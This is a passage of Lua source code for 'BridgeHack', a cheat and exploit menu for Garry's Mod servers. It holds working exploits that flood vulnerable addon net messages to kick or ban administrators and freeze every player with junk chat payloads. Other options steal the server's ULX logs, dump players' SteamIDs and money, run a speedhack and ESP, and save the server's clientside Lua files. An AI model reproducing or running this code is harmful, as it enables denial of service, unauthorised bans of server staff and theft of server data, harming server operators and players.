2996 net.Receive("sMsgStandard", function()
2997
2998 print("#Bypassed by HaxRUs")
2999
3000 end)
3001
3002
3003
3004 net.Receive("sNotifyHit", function()
3005
3006
3007
3008 end)
3009
3010
3011
3012 net.Receive("sMsgAdmins", function()
3013
3014
3015
3016 end)
3017
3018
3019
3020 net.Receive("sAlertNotice", function()
3021
3022
3023
3024 end)
3025
3026 end):SetImage( "icon16/link_break.png" )
3027
3028
3029
3030 exploitshacks:AddOption("[NLR] [ON] Freeze Spawning",function()
3031
3032 ply:ConCommand("bh_nlr_freeze 1")
3033
3034 end):SetImage( "icon16/book_error.png" )
3035
3036
3037
3038 exploitshacks:AddOption("[NLR] [OFF] Freeze Spawning",function()
3039
3040 ply:ConCommand("bh_nlr_freeze 0")
3041
3042 end):SetImage( "icon16/book.png" )
3043
3044
3045
3046 exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
3047
3048 status("Downloading ULX LOGS")
3049
3050 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
3051
3052 consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
3053
3054 else
3055
3056 RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
3057
3058 chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
3059
3060 timer.Simple( 15, function()
3061
3062 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
3063
3064 consoleP("**********************")
3065
3066 consoleP("** SUCCESS ULX DUMP **")
3067
3068 consoleP("**********************")
3069
3070 end)
3071
3072 end
3073
3074 end ):SetImage( "icon16/lock_break.png" )
3075
3076
3077
3078 exploitshacks:AddOption("[AE] KICK ADMINS+",function()
3079
3080 chatP("Kicking... (Will only work on admins+)")
3081
3082 timer.Create( "aekickdaskids", 3, 0, function()
3083
3084 for k,v in pairs(player.GetAll()) do
3085
3086 if( v:GetUserGroup() != "user" ) then
3087
3088 if( v:GetUserGroup() != "vip" ) then
3089
3090 for i=0, 700 do
3091
3092 net.Start('plyWarning')
3093
3094 net.WriteEntity(v)
3095
3096 net.WriteString('You have to select a player before doing a action.')
3097
3098 net.SendToServer()
3099
3100 end
3101
3102 consoleP('Attempting to kick '.. v:Nick().. "!")
3103
3104 end
3105
3106 end
3107
3108 end
3109
3110 end)
3111
3112 end):SetImage("icon16/wand.png")
3113
3114
3115
3116 exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
3117
3118 chatP("Banning...")
3119
3120 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
3121
3122 for k,v in pairs(player.GetAll()) do
3123
3124 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
3125
3126 if v != LocalPlayer() then
3127
3128 status("Banning.. "..v:Nick())
3129
3130 net.Start("banleaver")
3131
3132 net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
3133
3134 net.SendToServer()
3135
3136 end
3137
3138 end
3139
3140 end
3141
3142 end)
3143
3144 end):SetImage("icon16/wand.png")
3145
3146
3147
3148 exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
3149
3150 chatP("Freezing everybody.. (Except you)")
3151
3152 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
3153
3154 local trash = "";
3155
3156 for i=0, 15000 do
3157
3158 trash = trash .. string.char(math.random(32, 126));
3159
3160 end
3161
3162
3163
3164 status("Freeze wave incoming")
3165
3166 timer.Simple(1,function()
3167
3168 status("Freeze wave done")
3169
3170 end)
3171
3172
3173
3174 for i=0,3 do
3175
3176 net.Start("atlaschat.chat")
3177
3178 net.WriteString("// ".. trash)
3179
3180 net.SendToServer()
3181
3182 end
3183
3184 end)
3185
3186 end):SetImage( "icon16/lock.png" )
3187
3188
3189
3190 exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
3191
3192 chatP("Stopping the freeze..")
3193
3194 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
3195
3196
3197
3198 end)
3199
3200 end):SetImage( "icon16/lock_open.png" )
3201
3202
3203
3204 exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
3205
3206 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
3207
3208 local friends = {}
3209
3210 table.insert( friends, math.random(1,9999) )
3211
3212 for i = 1,6000 do
3213
3214 net.Start("friendlist")
3215
3216 net.WriteTable(friends)
3217
3218 net.SendToServer()
3219
3220 end
3221
3222 status("PROGRESS [10000/10000]")
3223
3224 end)
3225
3226 end ):SetImage( "icon16/script_error.png" )
3227
3228
3229
3230 exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
3231
3232 timer.Destroy("spamdafukFRIENDSULX")
3233
3234 status("Stopped ULX SPAM FRIENDS")
3235
3236 end):SetImage( "icon16/script.png" )
3237
3238
3239
3240 exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
3241
3242 GiveMenu()
3243
3244 end):SetImage( "icon16/book_key.png" )
3245
3246
3247
3248 exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
3249
3250 chatP("Kicking admins, Including anyone who isnt a user")
3251
3252 ply:ConCommand("bh_mx_kickadmins")
3253
3254 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
3255
3256 for k,v in ipairs(player.GetAll()) do
3257
3258 if( v:GetUserGroup() != "user" ) then
3259
3260 if v:Nick() != (ply:Nick()) then
3261
3262 for i=0, 700 do
3263
3264 net.Start( "GetCar" )
3265
3266 net.WriteEntity(v)
3267
3268 net.WriteEntity(v)
3269
3270 net.SendToServer()
3271
3272 end
3273
3274 chatP('Attempting to kick '.. v:Nick())
3275
3276 end
3277
3278 end
3279
3280 end
3281
3282 end)
3283
3284 end):SetImage( "icon16/wand.png" )
3285
3286
3287
3288 exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
3289
3290 chatP("Stopping the kicks")
3291
3292 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
3293
3294 end):SetImage( "icon16/wand.png" )
3295
3296
3297
3298 local Misc = menu:AddSubMenu(" Misc ")
3299
3300
3301
3302 Misc:AddOption( "Hackable Server List",function()
3303
3304 ply:ConCommand("bh_serverlist")
3305
3306 end):SetImage( "icon16/book.png" )
3307
3308
3309
3310 Misc:AddOption( "Changelog",function()
3311
3312 ChangeLogMenu()
3313
3314 end):SetImage( "icon16/book.png" )
3315
3316
3317
3318 Misc:AddOption( "List Rank - Playername - Money",function()
3319
3320 chatP( "Check Console\n" )
3321
3322 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
3323
3324 for k,v in pairs(player.GetAll()) do
3325
3326 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
3327
3328 if v:IsAdmin() then
3329
3330 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
3331
3332 else
3333
3334 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
3335
3336 end
3337
3338 end
3339
3340 end):SetImage( "icon16/text_align_center.png" )
3341
3342
3343
3344 Misc:AddOption( "Check exploits", function()
3345
3346 ply:ConCommand("bh_check")
3347
3348end ):SetImage( "icon16/book_addresses.png" )
3349
3350
3351
3352 Misc:AddOption( "ClientSide Lua Viewer",function()
3353
3354 chatP("Opening clientside lua viewer...")
3355
3356 ply:ConCommand("bh_lua")
3357
3358 end):SetImage( "icon16/application_osx_terminal.png" )
3359
3360
3361
3362 if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:1:61639885" then
3363
3364 local DebugMenu = menu:AddSubMenu(" Debug Settings")
3365
3366 DebugMenu:AddOption(" Reset Default Config.", function()
3367
3368 Debug("Resetting Cheat Variables...")
3369
3370 ResetCvar("bh_menu_effects", 1)
3371
3372 ResetCvar("bh_firstload_correct", 0)
3373
3374 ResetCvar("bh_chat_status",0)
3375
3376 ResetCvar("bh_cheats_enabled_on_start", 0)
3377
3378 ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
3379
3380 ResetCvar("bh_showhud", 1)
3381
3382 ResetCvar("bh_notify", 1)
3383
3384 end)
3385
3386
3387
3388 DebugMenu:AddOption(" Debug",function()
3389
3390 for k,v in pairs(player.GetAll()) do
3391
3392 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
3393
3394 end
3395
3396 end)
3397
3398 end
3399
3400
3401
3402 menu:AddSpacer()
3403
3404
3405
3406 menu:AddOption( "Config Menu", function()
3407
3408 local DermaPanel = vgui.Create( "DFrame" )
3409
3410 DermaPanel:SetPos( 100, 100 )
3411
3412 DermaPanel:SetSize( 300, 400 )
3413
3414 DermaPanel:SetTitle( " " )
3415
3416 DermaPanel:SetVisible( true )
3417
3418 DermaPanel:SetDraggable( true )
3419
3420 DermaPanel:ShowCloseButton( false )
3421
3422 function DermaPanel:Paint( w, h )
3423
3424 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
3425
3426 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
3427
3428 draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
3429
3430 end
3431
3432
3433
3434 local Button = vgui.Create("DButton", DermaPanel)
3435
3436 Button:SetPos( 250, 2 )
3437
3438 Button:SetSize( 45, 19 )
3439
3440 Button:SetText( "" )
3441
3442 Button:SetTextColor( Color( 255, 255, 255) )
3443
3444 function Button:Paint( w, h )
3445
3446 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
3447
3448 draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
3449
3450 end
3451
3452 Button.DoClick = function()
3453
3454 DermaPanel:Close()
3455
3456 end
3457
3458
3459
3460 DermaPanel:MakePopup()
3461
3462
3463
3464 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
3465
3466 ESPMixer:SetPos( 10,170)
3467
3468 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
3469
3470 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
3471
3472 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
3473
3474 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
3475
3476 ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
3477
3478 daespvector = ESPMixer:GetColor()
3479
3480
3481
3482 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
3483
3484 ESPMixButton:SetPos( 5, 265 )
3485
3486 ESPMixButton:SetText( "Set ESP Color" )
3487
3488 ESPMixButton:SetSize( 120, 15 )
3489
3490 ESPMixButton.DoClick = function()
3491
3492 print(daespvector)
3493
3494 ply:ConCommand("bh_esp_infocolor_r "..daespr)
3495
3496 ply:ConCommand("bh_esp_infocolor_g "..daespg)
3497
3498 ply:ConCommand("bh_esp_infocolor_b "..daespb)
3499
3500 end
3501
3502
3503
3504 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3505
3506 EspBoxes:SetPos( 10, 25 )// Set the position
3507
3508 EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
3509
3510 EspBoxes:SetText("ESP Boxes")
3511
3512 EspBoxes:SetConVar( "bh_esp_box" )
3513
3514 EspBoxes:SizeToContents()
3515
3516
3517
3518 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3519
3520 ShowHP:SetPos( 10, 45 )// Set the position
3521
3522 ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
3523
3524 ShowHP:SetText("Show HP On ESP")
3525
3526 ShowHP:SetConVar( "bh_esp_hp" )
3527
3528 ShowHP:SizeToContents()
3529
3530
3531
3532 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3533
3534 ShowRank:SetPos( 10, 65 )// Set the position
3535
3536 ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
3537
3538 ShowRank:SetText("Show Rank On ESP")
3539
3540 ShowRank:SetConVar( "bh_esp_rank" )
3541
3542 ShowRank:SizeToContents()
3543
3544
3545
3546 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3547
3548 Rdistance:SetPos( 10, 85 )// Set the position
3549
3550 Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
3551
3552 Rdistance:SetText("Use a Maximum render distance")
3553
3554 Rdistance:SetConVar( "bh_renderdistance_enable" )
3555
3556 Rdistance:SizeToContents()
3557
3558
3559
3560 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3561
3562 Rdistance:SetPos( 10, 105 )// Set the position
3563
3564 Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
3565
3566 Rdistance:SetText("Top Scrolling Message")
3567
3568 Rdistance:SetConVar( "bh_notify" )
3569
3570 Rdistance:SizeToContents()
3571
3572
3573
3574 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3575
3576 PlaySound:SetPos( 10, 125 )// Set the position
3577
3578 PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
3579
3580 PlaySound:SetText("Menu sounds")
3581
3582 PlaySound:SetConVar( "bh_playsound" )
3583
3584 PlaySound:SizeToContents()
3585
3586
3587
3588 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
3589
3590 RenderDistance:SetPos( 25, 145) // Set the position
3591
3592 RenderDistance:SetSize( 280, 25 ) // Set the size
3593
3594 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
3595
3596 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
3597
3598 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
3599
3600 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
3601
3602 RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
3603
3604 end ):SetImage( "icon16/wrench.png" )
3605
3606
3607
3608 menu:Open()
3609
3610 end)
3611
3612
3613
3614 concommand.Add("-bh_menu", function( ply )
3615
3616 status("Menu Closed.")
3617
3618 if GetConVarNumber("bh_menu_effects") == 1 then
3619
3620 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
3621
3622 end
3623
3624 local menu = DermaMenu()
3625
3626 end)
3627
3628
3629
3630 function ESP_on( )
3631
3632 ply:ConCommand("bh_esp 1")
3633
3634 end
3635
3636
3637
3638 function ESP_off( )
3639
3640 ply:ConCommand("bh_esp 0")
3641
3642 end
3643
3644
3645
3646 function speedhack_on( )
3647
3648 ply:ConCommand("host_framerate 8;host_framerate 8")
3649
3650 status("Enabled SpeedHack")
3651
3652 end
3653
3654
3655
3656 function speedhack_off( )
3657
3658 ply:ConCommand("host_framerate 0;host_framerate 0")
3659
3660 status("Disabled SpeedHack")
3661
3662 end
3663
3664
3665
3666 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
3667
3668local VIEWER = {}
3669
3670
3671
3672function VIEWER:Init()
3673
3674 self:SetTitle("BridgeHack Clientside Lua Viewer")
3675
3676 self:SetSize(1200, 550)
3677
3678 self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
3679
3680 surface.SetDrawColor(Color(108,153,192))
3681
3682 surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
3683
3684 surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
3685
3686 end
3687
3688 end
3689
3690derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
3691
3692function DrawFancyPopup(message)
3693
3694 fancyPopup = vgui.Create("DFrame")
3695
3696 fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
3697
3698end